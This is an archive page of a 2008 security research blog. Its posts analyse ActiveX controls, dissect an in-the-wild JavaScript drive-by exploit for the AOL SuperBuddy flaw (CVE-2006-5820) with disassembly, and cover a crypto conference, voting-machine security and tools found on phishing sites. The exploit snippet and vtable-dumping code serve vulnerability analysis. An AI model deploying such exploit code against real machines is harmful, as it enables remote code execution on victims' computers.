Menu:

Showing posts published in August 2008. Show all posts.

Analyzing ActiveX controls

In my post about the vulnerability in the SuperBuddy ActiveX control, I've glossed over a couple of details that may be interesting:

  1. how to know which methods are exposed by an ActiveX control
  2. how to identify a specific method in the binary object of the control.

Several tools solve the first problem. In particular, I like OLE/COM Object Viewer (oleviewer, in short) and COMRaider.

For example, oleviewer shows the following information about SuperBuddy:

Information about SuperBuddy shown by oleviewer

In particular, note the CLSID and the ProgID fields (you'll need these values if you want to instantiate the control), and the path to the DLL that provides the control. On the left hand side, there is the list of interfaces implemented by the control.

If you focus on the ISuperBuddy interface, you obtain the list of its methods. As expected, the vulnerable method LinkSBIcons is shown and we can also see its signature.

The ISuperBuddy interface

For the second problem (getting the address of a method), I could not find a better way than instantiating a control and dumping its virtual table (I see that this is essentially the solution also proposed by the folks at Websense):

#include "stdafx.h"
#import "C:\Program Files\AOL 9.0\sb.dll"

int _tmain(int argc, _TCHAR* argv[])
{
    SBLib::ISuperBuddy *pSb;
    CoInitialize(NULL);
    HRESULT hr = CoCreateInstance(__uuidof(SBLib::SuperBuddy), 
                   NULL,
                   CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
                   __uuidof(SBLib::ISuperBuddy),
                   (LPVOID *) &pSb);
    if (hr == S_OK) {
        DWORD vtable = *(DWORD *) pSb;
        DWORD *p = (DWORD *) vtable;
        for (int i = 0; i < 55; i++) {
            printf("%02d: %p", i, *p);
            printf("\n");
            p++;
        }
    } else {
        printf("CoCreateInstance error: %x\n", hr);
        return 1;
    }
    return 0;
}

The functions are in the same order as shown by oleviewer: at index 2 you find IUnknown::Release(), and, then, counting up, all the others. LinkSBIcons is at index 49, which corresponds to address 0x6398692D.

00: 63984070
01: 63983FEC
02: 63983FFC
...
48: 639870C9
49: 6398692D
50: 6398735B
...

Let me know if you know a better way to do this!


Web client exploit zoo: SuperBuddy

In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)

So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.

Here is a typical exploit (it is also available as a Metasploit exploit):

function a9_bwCED() {
    try {
        var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
        if (OBGUiGAa) {
            Exhne69P();
            dU578_go(9);
            OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
        }   
    } catch(e) { }   
    return 0;
}

The function Exhne69P sets up the shellcode and the function dU578_go sets a cookie, probably to keep statistics on the success rate of the attack. The actual exploitation occurs by invoking the LinkSBIcons method with the 0x0c0c0c0c parameter.

The vulnerable code is contained in the sb.dll library:

6398692d <LinkSBIcons>::
 6398692d:   push   %ebp
 6398692e:   mov    %esp,%ebp
 63986930:   mov    0xc(%ebp),%eax     ; eax := arg
 63986933:   test   %eax,%eax       
 63986935:   je     0x63986969         ; bail out if NULL
 63986937:   mov    (%eax),%ecx        ; ecx := *arg
 63986939:   push   %esi
 6398693a:   push   %edi
 6398693b:   mov    0x8(%ebp),%edi
 6398693e:   lea    0x30(%edi),%esi
 63986941:   push   %esi
 63986942:   push   $0x6399037c
 63986947:   push   %eax
 63986948:   call   *(%ecx)            ; call *ecx

The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:

SuperBuddy crashes trying to execute code at 0x41414141


CRYPTO2008

Today, CRYPTO2008 has finished. I've only attended a few talks, but they all were very interesting. In particular, I've seen:

The Rump Session was, as usual, a lot of fun, with many laugh-out-loud presentations. DJ Bernstein kept everybody surprisingly on time, with the help, when necessary, of a big, intimidating, and noisy air gun! I left after the KeeLoq group went on stage singing and dancing on exotic tunes to present their COPACOBANA project...
Check out the slides for the session here.


Unfettered access?

This was not a security risk evaluation but an unrealistic worst case scenario evaluation [...] performed in a laboratory environment by computer security experts with unfettered access to the machines and software over several weeks. This is not a real-world scenario [...]

     Sequoia, July 30, 2007

Security reviews of the Hart system as tested in California, Colorado, and Ohio were conducted by people who were given unfettered access to code, equipment, tools and time [...]

     Hart InterCivic, June 2008

The "unfettered access" claim has been a standard response from electronic machine vendors to the reports of serious security flaws in their equipment, as identified by recent evaluations, such as the California's Top-To-Bottom Review and the Ohio's EVEREST project.

This claim, essentially, postulates two theories:

  1. Vulnerabilities can be discovered only if analysts have extended access to the voting equipment under study.
  2. Attackers don't have extended access to voting equipment.

Theory number 1) is very suspicious from a security point of view, in that it builds on two discredited ideas: that "attackers/analysts have limited capabilities" (weak threat model), and that "as long as the system is unknown, it is secure" (security by obscurity). I will not elaborate further on this, since, I think, what follows is more interesting.

Theory number 2) (electronic voting equipment is not available to the general public) has been proven wrong a number of times in the past. There are various ways in which voting equipment can become accessible to non authorized people:

Here is a list of cases when, for similar or other reasons, voting systems have finished (or might have finished) in the hands of the general public:

I'll try to maintain this list accurate and up-to-date, so if you know more cases, please, let me know! Thanks to Joseph Lorenzo Hall for his comments and for contributing many entries to this list. Errors are mine.


Lost and found on phishing sites: exploits

After breaking into a web server, attackers often want to get higher privileges on the local machine (through local-to-root attacks) and to compromise other remote machines (remote-to-local attacks). To do that, they "need exploits, lots of exploits".

And so, it is time to talk about the exploitation tools found on phishing sites.

Screenshot of a number of exploits found on a phishing site

Sifting through the various tools, scripts, and programs abandoned on these sites offers more than one interesting finding. One can find recent exploits, such as the one attacking the vmsplice bug in 2.6.x Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic ones, such as the smurf attack released in 1999; and exotic exploits, such as a local root against AIX.

Among the remote exploitation tools, vulnerability scanners are very popular. They mostly look for file injection vulnerabilities, generally using google dorks (i.e., they are search worms).

And, unsurprisingly, considering the current botnet fad, bots are also very popular. The ones I've found are traditional bots that connect to IRC channels and wait commands. Good, old, DDoS attacks seem also common, either through TCP, UDP, or HTTP.

Related posts:


Defcon CTF!

Tomorrow, we are off to Vegas for DEFCON 16. We are going to compete in the Capture The Flag contest. It's going to be fun: there are a lot of good teams and the usual Kenshoto's organization.

Feel free to stop by and say hi: we'll be the sleepless guys in the big, noisy room ;-)

Update: so, we've got 6th place, which is definitely not what we were hoping for... In any case, the game, as usual, was a lot of fun and of learning. Congratulations to sk3wl of root, who dominated the contest. We'll do better next year!